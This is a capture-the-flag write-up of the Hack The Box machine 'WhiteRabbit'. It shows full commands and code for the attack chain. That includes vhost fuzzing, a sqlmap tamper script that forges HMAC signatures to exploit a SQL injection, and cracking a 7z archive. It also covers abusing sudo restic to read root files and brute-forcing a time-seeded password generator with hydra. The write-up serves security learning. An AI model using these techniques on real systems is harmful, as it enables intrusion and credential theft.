WhiteRabbit


WhiteRabbit

Overview

An insane box from HTB that requires a lot of enumeration to find numerous vhosts, with one wiki page leaking some information about an n8n workflow that provides you a secret key to forge hmacs so we you can dump a database which happens to have command logs of the creation of a restic repo and the password, as well as hint to root. We copy the restic repo’s contents which has an ssh key for one of the open ssh ports (2222) and this user has sudo privileges for restic which lets us arbitrarily read any file and we can find a ssh key for the user morpheus. This grants us a user flag. From here we utilize the hint from the command log that a password was created with a password generator at a specific time, we can reverse engineer the time to brute force all possible passwords and login into the user neo which has sudo (all) privieleges and that gives us root.

Initial Recon

nmap

The nmap scan:

# Nmap 7.97 scan initiated Wed Sep 17 21:18:07 2025 as: nmap -vv -sCV -oA nmap/whiterabbit -Pn -T4 --min-rate 1000 -p- 10.10.11.63
Warning: 10.10.11.63 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.63
Host is up, received user-set (0.12s latency).
Scanned at 2025-09-17 21:18:07 HST for 87s
Not shown: 65336 closed tcp ports (conn-refused), 196 filtered tcp ports (no-response)
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBslomQGZRF6FPNyXmI7hlh/VDhJq7Px0dkYQH82ajAIggOeo6mByCJMZTpOvQhTxV2QoyuqeKx9j9fLGGwkpzk=
|   256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEoXISApIRdMc65Kw96EahK0EiPZS4KADTbKKkjXSI3b
80/tcp   open  http    syn-ack Caddy httpd
|_http-title: Did not follow redirect to http://whiterabbit.htb
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Caddy
2222/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKu1+ymf1qRT1c7pGig7JS8MrnSTvbycjrPWQfRLo/DM73E24UyLUgACgHoBsen8ofEO+R9dykVEH34JOT5qfgQ=
|   256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTObILLdRa6Jfr0dKl3LqWod4MXEhPnadfr+xGSWTQ+
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The only useful thing here is the webserver so naturally we have to check it out and put the extra ssh port in the back our heads.

Add the host to ours hosts file:

add_to_hosts 10.10.11.63 whiterabbit.htb

whiterabbit.htb

We won’t have much on this page except hints that there’s some extra stuff going on here. services_hint

So this tells us we need to do some vhost enumeration to see if we can find some of them.

ffuf -u http://10.10.11.63 -w /seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'FUZZ.whiterabbit.htb' -fs 0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.63
 :: Wordlist         : FUZZ: /seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.whiterabbit.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

status                  [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 137ms]

Add this to our hosts file as well… And we see a status page, visiting this we see it’s an uptime kuma site, just like the website suggested.

status.whiterabbit.htb - Uptime Kuma

uptime

We have no creds and default / weak credentials do not work, but the vhost also gave nothing else. So surely, we have to investigate more.

If you research uptime-kuma a little bit you’ll find it has status pages for unathorized people to see, somewhere in /status

If we view the /status endpoint we get a white page, but no error…so let’s fuzz for some pages here.

feroxbuster -u http://status.whiterabbit.htb/status/ -w /seclists/Discovery/Web-Content/raft-small-words-lowercase.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://status.whiterabbit.htb/status
 🚀  Threads               │ 50
 📖  Wordlist              │ /seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /home/alex/.config/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       38l      143w     2444c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       41l      152w     3359c http://status.whiterabbit.htb/status/temp

And almost immediately we get an end point.

status_temp

We have two vhosts here, gophish an wikijs, with some container hostnames. Add them to our hosts file and explore.

The gophish page provides us nothing since we don’t have any credentials…

wikis

The wikijs at least has a post…which is very telling.

wikijs

It gives us a new host, which is for the n8n an example post request for the webhook and an example workflow in the json. And more importantly, a debug node which on error gives us some feedback, so we can utilize some sql injection likely. Since the post even says that.

However, reading the page it says that the HMAC is there, so any payload would have to be HMAC’d and include it in the header and we need a secret key for that..lets take a look at the workflow in the json.

    {
      "parameters": {
        "action": "hmac",
        "type": "SHA256",
        "value": "={ JSON.stringify($json.body) }",
        "dataPropertyName": "calculated_signature",
        "secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
      },
      "id": "e406828a-0d97-44b8-8798-6d066c4a4159",
      "name": "Calculate the signature",
      "type": "n8n-nodes-base.crypto",
      "typeVersion": 1,
      "position": [
        860,
        340
      ]
    },

    ....
      "parameters": {
        "operation": "executeQuery",
        "query": "SELECT * FROM victims where email = \"{ $json.body.email }\" LIMIT 1",
        "options": {}
      },

There’s our secret key and there’s our vulnerable sql statement.

SQLi with HMAC

So I had to research how to do hmacs, just to see if this even works.

cat << EOF | jq -c > compact.json
{
  "campaign_id": 1,
  "email": "[email protected]",
  "message": "Clicked Link"
}
EOF

curl -d @compact.json \ 
    -H 'x-gophish-signature: sha256=cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd' \
    -H 'Content-Type: application/json' \
    '28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d' 
Info: User is not in database

Okay, that works. We can forge some hmacs with python, thankfully it’s in the stdlib and we can just use requests to tests

import hashlib
import hmac
import json
import requests

url = 'http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d'
payload = '{"campaign_id":1,"email":"Meow.com","message":"Clicked Link"}'
key = b'3CWVGMndg[redacted]icmv7gxc6IS'

def send_payload(url, key, payload):
    hash_key = hmac.new(key, payload, hashlib.sha256).hexdigest()
    headers = {
        'x-gophish-signature': f"sha256={hash_key}"
        'Content-Type': 'application/json'
    }
    r = requests.post(url, headers=headers, data=payload)
    print(r.text)


send_payload(url,key,payload.encode('utf-8'))

And that works!

So, how do we do sql injection with this? I was playing for a bit, to see if I could leak anything extra besides an error or that user wasn’t in the database. So it’s clearly seems like it’s boolean based sql. Manually doing boolean sql sounds like the worst use of time, and time based could work as well since we can pass sql commands like..sleep. But I don’t know how big this database is or even where the information might be.

Can’t we use sqlmap? Well normally no, because the hmac needs to encode the payload, but luckily…there’s a trick we can do with tamper script to not have to recreate all the nice sql injection goodness that sqlmap allows us.

I found this by looking at the --list-tampers option and there’s a tamper that appends a header, so we can check that out as an example.

#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import random

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def randomIP():
    octets = []

    while not octets or octets[0] in (10, 172, 192):
        octets = random.sample(xrange(1, 255), 4)

    return '.'.join(str(_) for _ in octets)

def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For' (and alike)
    """

    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    headers["X-Client-Ip"] = randomIP()
    headers["X-Real-Ip"] = randomIP()
    headers["CF-Connecting-IP"] = randomIP()
    headers["True-Client-IP"] = randomIP()

    # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection
    headers["Via"] = "1.1 Chrome-Compression-Proxy"

    # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007
    headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]

    return payload

So the headers gets passed in as kwargs and the payload.. So if we keep all of our other fields constant, we can pass the payload into our email field and calculate the hmac. This took a little bit to get exactly right because I typo’d a word initially and didn’t catch it, but the result I initially created is here.

#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import random
import hashlib
import hmac
import json

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass


def tamper(payload, **kwargs):
    """
    append hmac for gophish, change secret key, this for whiterabbit
    """
    secret_key = b'3CWVGMndg[redacted]Ticmv7gxc6IS'
    headers = kwargs.get('headers', {})
    data_dict = json.loads('{"campaign_id":1,"email":"[email protected]","message":"Clicked Link"}')
    data_dict['email'] = payload
    data = json.dumps(data_dict, separators=(",", ":"))
    data_bytes = data.encode('utf-8')
    hash_key = hmac.new(secret_key, data_bytes, hashlib.sha256)
    headers['x-gophish-signature'] = f'sha256={hash_key.hexdigest()}'


    return payload

I’ll probably polish this and stick it on my github or stick it in a PR for sqlmap, if we can indeed pass tamper args.

I then was able to pass this to sqlmap like so (after putting it in the sqlmap’s tamper folder):

sqlmap -u $IP \ 
    --data-raw '{"campaign_id":1,"email":"*","message":"Clicked Link"}' \
    --tamper hmac_256_gophish.py \
    --string 'Info: User is not in database' \
    --prefix='[email protected]" ' --suffix=';-- -' \
    --threads=10 --technique=B --dump --tables --level 5 --risk 3 --dbms=mariadb

This gives us this wonderful output, after a while:

Database: temp
[1 table]
+---------------------------------------+
| command_log                           |
+---------------------------------------+

Database: phishing
[1 table]
+---------------------------------------+
| victims                               |
+---------------------------------------+

Database: information_schema
[84 tables]
+---------------------------------------+
| ALL_PLUGINS                           |
| APPLICABLE_ROLES                      |
| CHARACTER_SETS                        |
| CHECK_CONSTRAINTS                     |
| CLIENT_STATISTICS                     |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMN_PRIVILEGES                     |
| ENABLED_ROLES                         |
| FILES                                 |
| GEOMETRY_COLUMNS                      |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INDEX_STATISTICS                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_PER_INDEX                  |
| INNODB_CMP_PER_INDEX_RESET            |
| INNODB_CMP_RESET                      |
| INNODB_FT_BEING_DELETED               |
| INNODB_FT_CONFIG                      |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_FT_DELETED                     |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_METRICS                        |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_FIELDS                     |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_SYS_INDEXES                    |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_TABLESPACES                |
| INNODB_SYS_TABLESTATS                 |
| INNODB_SYS_VIRTUAL                    |
| INNODB_TABLESPACES_ENCRYPTION         |
| INNODB_TRX                            |
| KEYWORDS                              |
| KEY_CACHES                            |
| KEY_COLUMN_USAGE                      |
| KEY_PERIOD_USAGE                      |
| OPTIMIZER_TRACE                       |
| PARAMETERS                            |
| PERIODS                               |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SEQUENCES                             |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| SPATIAL_REF_SYS                       |
| SQL_FUNCTIONS                         |
| STATISTICS                            |
| SYSTEM_VARIABLES                      |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLE_STATISTICS                      |
| THREAD_POOL_GROUPS                    |
| THREAD_POOL_QUEUES                    |
| THREAD_POOL_STATS                     |
| THREAD_POOL_WAITS                     |
| USERS                                 |
| USER_PRIVILEGES                       |
| USER_STATISTICS                       |
| VIEWS                                 |
| COLUMNS                               |
| ENGINES                               |
| EVENTS                                |
| OPTIMIZER_COSTS                       |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| TABLES                                |
| TRIGGERS                              |
| user_variables                        |
+---------------------------------------+

You can dump the whole database, there’s nothing useful in the phishing table, or the users table. But there’s one that’s also interesting the temp database with a command_log table

Dumping that table:

Database: temp
Table: command_log
[6 entries]
+----+---------------------+------------------------------------------------------------------------------+
| id | date                | command                                                                      |
+----+---------------------+------------------------------------------------------------------------------+
| 1  | 2024-08-30 10:44:01 | uname -a                                                                     |
| 2  | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb                     |
| 3  | 2024-08-30 11:58:36 | echo ygcs<redacted>Khe5jAmth7vxw > .restic_passwd                       |
| 4  | 2024-08-30 11:59:02 | rm -rf .bash_history                                                         |
| 5  | 2024-08-30 11:59:47 | #thatwasclose                                                                |
| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+

Interesting, ANOTHER vhost, this time they’re using restic…

Another vhost!

That’s a backup tool written in go. I tried to deal with this part without needing restic and just using it’s http endpoints, but I couldn’t figure it out. So I had to install restic.

Playing around with the help let me figure out how to use this little tool. We check for snapshots, see the files in there and grab it out.

restic -r 'rest:http://75951e6ff.whiterabbit.htb' snapshots
enter password for repository:
repository 5b26a938 opened (version 2, compression level auto)
ID        Time                 Host         Tags        Paths
------------------------------------------------------------------------
272cacd5  2025-03-06 14:18:40  whiterabbit              /dev/shm/bob/ssh
------------------------------------------------------------------------
1 snapshots
restic -r 'rest:http://75951e6ff.whiterabbit.htb' ls 272cacd5

repository 5b26a938 opened (version 2, compression level auto)
[0:00] 100.00%  5 / 5 index files loaded
snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit filtered by []:
/dev
/dev/shm
/dev/shm/bob
/dev/shm/bob/ssh
/dev/shm/bob/ssh/bob.7z
restic -r 'rest:http://75951e6ff.whiterabbit.htb' dump latest /dev/shm/bob/ssh/bob.7z > bob.7z
file bob.7z
bob.7z: 7-zip archive data, version 0.4

Trying to extract it, of course it’s not that easy…there’s password on it. Thankfully, john has everything.

7z2john.pl bob.7z > bob.hash
john bob.hash --wordlist=/seclists/rockyou.txt
7z x -p'$PASS' bob.7z

We have an SSH key, the pubkey and the config, which says this user is for port 2222

cat config
Host whiterabbit
  HostName whiterabbit.htb
  Port 2222
  User bob
bob@ebdce80611e9:~$ sudo -l
Matching Defaults entries for bob on ebdce80611e9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User bob may run the following commands on ebdce80611e9:
    (ALL) NOPASSWD: /usr/bin/restic

Okay, so more restic stuff

sudo restic --repo /tmp/meow
sudo restic --repo /tmp/meow backup /root
sudo restic --repo /tmp/meow ls latest
sudo restic --repo /tmp/meow dump latest morpheus 

A new key, let’s copy it over to our machine and see if it works for the regular port 22

Foothold & Lateral Movement

Shell as morpheus

ssh -i morpheus [email protected]
morpheus@whiterabbit:~$ cat user.txt

Password generator to root

We know from the command_log that the user neo had their password set by a program called neo-password-generator And we got a lovely hint that it’s time based since we have a timestamp.

Databases usually don’t store timezone data, they store UTC because that’s the smart way to do things, so I copied the binary over to my machine and utilized faketime in a for loop.

for i in  {1..10000}; do
    faketime '2024-08-30 14:40:42 UTC' $(realpath ./neo-password-generator) >> maybe_pass2.txt
done
sort -u maybe_pass2.txt > poss_passes.txt

hydra -t 4 -u neo -P poss_passes.txt ssh://whiterabbit.htb

And this popped with the correct password.

neo@whiterabbit:/home/morpheus$ sudo su -
[sudo] password for neo:
root@whiterabbit:~#

There is a chance that we don’t iterate correctly on the 10,000 calls to the password generator, so if you wanted to be positive we get every instance we can take it to a decompiler.

the seed which is the second * 1000 and the usec / 1000 gets passed into gen_pass function.

So we can just make our own c_program to get all possible values.

#include <stdlib.h>
#include <stdio.h>
#include <sys/time.h>

void gen_pass(unsigned int seed) {
   const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
   char pass [21];
   int i;

   srand(seed);
   for (i =0; i < 20; i++) {
      int r = rand();
      pass[i]= charset[ r % 62];
   }

   pass[20] = '\0';

   puts(pass);

}


int main(void) {
   struct timeval tv;
   gettimeofday(&tv, NULL);
   unsigned int seed = 0;
   unsigned int i;
   // printf("second: %d\n", tv.tv_sec);

   for (i = 0; i < 1000; i++) {
      seed = tv.tv_sec * 1000 + i;
      gen_pass(seed);
   }
}

And iterate that way, my wordlist from the faketime turned out to be 1002, vs the solid 1,000 from the C program. Off by 2, not bad for a much quicker alternative.

But yeah, you can grab root.txt now, so idk why you’re still reading.